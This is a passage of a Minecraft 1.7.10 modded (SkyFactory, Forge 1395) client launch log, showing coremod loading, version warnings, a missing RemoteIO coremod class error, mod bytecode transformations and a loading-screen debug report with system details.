stances\SkyFactory\bin\realms-1.3.5.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-compress-1.8.1.jar;**USERSDIR**\Instances\SkyFactory\bin\httpclient-4.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-logging-1.1.3.jar;**USERSDIR**\Instances\SkyFactory\bin\httpcore-4.3.2.jar;**USERSDIR**\Instances\SkyFactory\bin\vecmath-1.3.1.jar;**USERSDIR**\Instances\SkyFactory\bin\trove4j-3.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\icu4j-core-mojang-51.2.jar;**USERSDIR**\Instances\SkyFactory\bin\codecjorbis-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\codecwav-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\libraryjavasound-20101123.jar;**USERSDIR**\Instances\SkyFactory\bin\librarylwjglopenal-20100824.jar;**USERSDIR**\Instances\SkyFactory\bin\soundsystem-20120107.jar;**USERSDIR**\Instances\SkyFactory\bin\netty-all-4.0.10.Final.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-io-2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-codec-1.9.jar;**USERSDIR**\Instances\SkyFactory\bin\jinput-2.0.5.jar;**USERSDIR**\Instances\SkyFactory\bin\jutils-1.0.0.jar;**USERSDIR**\Instances\SkyFactory\bin\gson-2.2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\authlib-1.5.21.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-api-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-core-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl_util-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\twitch-5.16.jar;**USERSDIR**\Instances\SkyFactory\bin\minecraft.jar, net.minecraft.launchwrapper.Launch, --username, REDACTED, --version, 1.7.10, --gameDir, **USERSDIR**\Instances\SkyFactory, --assetsDir, **USERSDIR**\Configs\Resources, --assetIndex, 1.7.10, --uuid, 730e76d78bca447ba7dfdbc48a6c41dc, --accessToken, REDACTED, --userProperties, REDACTED, --userType, mojang, --width=854, --height=480, --tweakClass=cpw.mods.fml.common.launcher.FMLTweaker] [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Using primary tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Forge Mod Loader version 7.10.130.1395 for Minecraft 1.7.10 loading [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Java is Java HotSpot(TM) Client VM, version 1.8.0_45, running on Windows 7:x86:6.1, installed at C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:45:14 PM] [main/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:16 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.CodeChickenCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod cofh.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/ERROR] [FML]: Coremod RemoteIOCorePlugin: Unable to class load the plugin dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] java.lang.ClassNotFoundException: dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] at java.net.URLClassLoader.findClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:117) ~[launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.loadCoreMod(CoreModManager.java:417) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.discoverCoreMods(CoreModManager.java:346) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.handleLaunch(CoreModManager.java:214) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupHome(FMLLaunchHandler.java:90) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupClient(FMLLaunchHandler.java:67) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.configureForClientLaunch(FMLLaunchHandler.java:34) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.common.launcher.FMLTweaker.injectIntoClassLoader(FMLTweaker.java:126) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:115) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod com.rebelkeithy.dualhotbar.DualHotbarPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod vazkii.emotes.client.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod invtweaks.forge.asm.FMLPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod mcp.mobius.mobiuscore.asm.CoreDescription does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.nei.asm.NEICorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openblocks.OpenBlocksCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openmods.core.OpenModsCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod xreliquary.common.asm.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod thaumcraft.codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod portablejim.veinminer.asm.VeinMinerCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft Forge. Certificate fingerprint e3c3d50c7c986df74c645c0ac54639741c90a557 [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft. Certificate fingerprint cd99959656f753dc28d863b46769f7f8fbaefcfc [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:27 PM] [main/INFO] [STDOUT]: [cofh.asm.CoFHAccessTransformer:readMappingFile:40]: Adding Accesstransformer map: CoFH_at.cfg [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.client.main.Main} [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] Trying to patch EntityPlayer.isInBed (class: yz) [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] isInBed patch applied. Enabling sleeping bags [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Transformed [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a_original(Lnet/minecraft/inventory/Slot;)V - New Method [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Invoke Virtual [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Current code is OBFUSCATED [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found cpw.mods.fml.common.FMLCommonHandler with checksum 9D07ABF40E8390189AB4D1D4CAA86BAB [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Switching injection mode to FORGE [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.World [ ahb ] with checksum 1259399FD8CF71F9B1835D9BCDD827D9 [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.updateEntities()... [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.<init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:transform:88]: ********* INSIDE GuiIngameForge TRANSFORMER ABOUT TO PATCH: net.minecraftforge.client.GuiIngameForge [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:patchShift:200]: In renderToolHightlight [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.WorldServer [ mt ] with checksum A9B6290BB23DD7A1659115ABB503DDD8 [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:32 PM] [main/INFO]: Setting user: **MINECRAFTUSERNAME** [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.entity.projectile.EntityArrow], Method [func_70071_h_] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.entity.projectile.EntityArrow Finished. [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.item.ItemStack], Method [func_77953_t] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.item.ItemStack Finished. [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.Container [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.ContainerFurnace [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.inventory.ContainerFurnace], Method [func_82846_b] [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming net.minecraft.inventory.ContainerFurnace Finished. [16/5/2015 18:45:34 PM] [Client thread/INFO]: LWJGL Version: 2.9.1 [16/5/2015 18:45:37 PM] [Client thread/WARN] [OpenMods]: openmods.stencil.FramebufferHooks.createRenderbufferStorage(FramebufferHooks.java:24): Your potato failed to allocate nice buffer. No stencils for you. Cause: Invalid enum [16/5/2015 18:45:38 PM] [Client thread/INFO] [STDOUT]: [cpw.mods.fml.client.SplashProgress:start:100]: ---- Minecraft Crash Report ---- [16/5/2015 18:45:38 PM] // Why did you do that? [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] Time: 5/16/15 6:45 PM [16/5/2015 18:45:38 PM] Description: Loading screen debug info [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] java.lang.Throwable [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.SplashProgress.start(SplashProgress.java:99) [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.FMLClientHandler.beginMinecraftLoading(FMLClientHandler.java:190) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:480) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:878) [16/5/2015 18:45:38 PM] at net.minecraft.client.main.Main.main(SourceFile:148) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at java.lang.reflect.Method.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] A detailed walkthrough of the error, its code path and all known details is as follows: [16/5/2015 18:45:38 PM] --------------------------------------------------------------------------------------- [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] -- System Details -- [16/5/2015 18:45:38 PM] Details: [16/5/2015 18:45:38 PM] Minecraft Version: 1.7.10 [16/5/2015 18:45:38 PM] Operating System: Windows 7 (x86) version 6.1 [16/5/2015 18:45:38 PM] Java Version: 1.8.0_45, Oracle Corporation [16/5/2015 18:45:38 PM] Java VM Version: Java HotSpot(TM) Client VM (mixed mode), Oracle Corporation [16/5/2015 18:45:38 PM] Memory: 148240816 bytes (141 MB) / 259522560 bytes (247 MB) up to 1046937600 bytes (998 MB) [16/5/2015 18:45:38 PM] JVM Flags: 8 total; -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -XX:-OmitStackTraceInFastThrow -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xms256M -Xmx1024M -XX:MetaspaceSize=128M [16/5/2015 18:45:38 PM] AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used [16/5/2015 18:45:38 PM] IntCache: cache: 0, tcache: 0, allocated: 0, tallocated: 0 [16/5/2015 18:45:38 PM] FML: [16/5/2015 18:45:38 PM] GL info: ' Vendor: 'Intel' Version: '2.1.0 - Build 8.15.10.2086' Renderer: 'Intel(R) HD Graphics' [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Attempting early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: MinecraftForge v10.13.3.1395 Initialized [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/font/ascii.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Replaced 183 ore recipies [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Preloading CrashReport classes [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/gui/title/mojang.png, i: 0, j: 0, size: 256, width: 256, height: 256 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.chunk.Chunk$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.EntityTracker$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.player.InventoryPlayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: fml:textures/gui/forge.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetHandlerPlayServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetworkSystem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$10 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$11 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$12 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$13 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$14 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$15 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.RenderGlobal$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureAtlasSprite$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureManager$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Completed early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal 